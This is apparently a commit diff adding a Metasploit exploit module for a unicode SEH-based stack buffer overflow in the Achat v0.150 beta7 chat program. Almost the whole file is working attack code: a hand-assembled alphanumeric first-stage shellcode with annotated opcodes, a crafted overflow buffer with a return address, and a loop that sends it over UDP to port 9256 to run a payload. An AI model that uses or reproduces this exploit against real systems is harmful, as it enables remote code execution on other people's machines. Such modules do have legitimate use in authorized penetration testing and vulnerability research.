|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Udp |
| 12 | + include Msf::Exploit::Remote::Seh |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Achat v0.150 beta7 Buffer Overflow', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an unicode SEH based stack buffer overflow in Achat v0.150. By |
| 19 | + sending a crafted message to the default port 9256 it's possible to overwrites the |
| 20 | + SEH handler. Even when the exploit is reliable it depends of timing since there are |
| 21 | + two threads overflowing the stack in the same time. This module has been tested on |
| 22 | + Windows XP SP3 and Windows 7. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery |
| 27 | + 'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['CWE', '121'], |
| 33 | + ], |
| 34 | + 'DefaultOptions' => |
| 35 | + { |
| 36 | + 'EXITFUNC' => 'process' |
| 37 | + }, |
| 38 | + 'Payload' => |
| 39 | + { |
| 40 | + 'DisableNops' => true, |
| 41 | + 'Space' => 730, |
| 42 | + 'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"), |
| 43 | + 'StackAdjustment' => -3500, |
| 44 | + 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, |
| 45 | + 'EncoderOptions' => |
| 46 | + { |
| 47 | + 'BufferRegister' => 'EAX' |
| 48 | + } |
| 49 | + }, |
| 50 | + 'Platform' => 'win', |
| 51 | + 'Targets' => |
| 52 | + [ |
| 53 | + # Tested OK Windows XP SP3, Windows 7 |
| 54 | + # Not working on Windows Server 2003 |
| 55 | + [ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] #ppr from AChat.exe |
| 56 | + ], |
| 57 | + 'Privileged' => false, |
| 58 | + 'DefaultTarget' => 0, |
| 59 | + 'DisclosureDate' => 'Dec 18 2014')) |
| 60 | + |
| 61 | + register_options( |
| 62 | + [ |
| 63 | + Opt::RPORT(9256) |
| 64 | + ], self.class) |
| 65 | + end |
| 66 | + |
| 67 | + def exploit |
| 68 | + connect_udp |
| 69 | + |
| 70 | + # 0055 00 ADD BYTE PTR SS:[EBP],DL # padding |
| 71 | + # 2A00 SUB AL,BYTE PTR DS:[EAX] # padding |
| 72 | + # 55 PUSH EBP # ebp holds a close pointer to the payload |
| 73 | + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding |
| 74 | + # 58 POP EAX # mov eax, ebp |
| 75 | + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding |
| 76 | + # 05 00140011 ADD EAX,11001400 # adjusting eax |
| 77 | + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding |
| 78 | + # 2D 00130011 SUB EAX,11001300 # lea eax, eax+100 |
| 79 | + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding |
| 80 | + # 50 PUSH EAX # eax points to the start of the shellcode |
| 81 | + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding |
| 82 | + # 58 POP EAX # padding |
| 83 | + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding |
| 84 | + # 59 POP ECX # padding |
| 85 | + # 0039 ADD BYTE PTR DS:[ECX],BH # padding |
| 86 | + first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39" |
| 87 | + |
| 88 | + sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00" |
| 89 | + sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46) |
| 90 | + sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset |
| 91 | + sploit << "\x61\x40" # POPAD + INC EAX |
| 92 | + |
| 93 | + sploit << target.ret # AChat.exe p/p/r address |
| 94 | + |
| 95 | + # adjusting the first thread's unicode payload, tricky asm-fu |
| 96 | + # the first seh exception jumps here, first_stage variable will be executed |
| 97 | + # by the second seh exception as well. It needs to be in sync with the second |
| 98 | + # thread, so that is why we adjust eax/ebp to have a close pointer to the |
| 99 | + # payload, then first_stage variable will take the rest of the job. |
| 100 | + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding |
| 101 | + # 55 PUSH EBP # ebp with close pointer to payload |
| 102 | + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding |
| 103 | + # 58 POP EAX # put ebp to eax |
| 104 | + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding |
| 105 | + # 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place |
| 106 | + # 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more |
| 107 | + # 05 00140011 ADD EAX,11001400 # more adjusting |
| 108 | + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding |
| 109 | + # 2D 00130011 SUB EAX,11001300 # lea eax, eax+100 |
| 110 | + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding |
| 111 | + # 50 PUSH EAX # saving eax |
| 112 | + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding |
| 113 | + # 5D POP EBP # mov ebp, eax |
| 114 | + sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43" |
| 115 | + sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread |
| 116 | + sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 -3) # put address of the payload to EAX |
| 117 | + sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload |
| 118 | + sploit << "\x00" + 'A' * 10 + "\x00" |
| 119 | + |
| 120 | + i = 0 |
| 121 | + while i < sploit.length do |
| 122 | + if i > 172000 |
| 123 | + Rex::sleep(1.0) |
| 124 | + end |
| 125 | + sent = udp_sock.put(sploit[i..i + 8192 - 1]) |
| 126 | + i += sent |
| 127 | + end |
| 128 | + disconnect_udp |
| 129 | + end |
| 130 | + |
| 131 | +end |
0 commit comments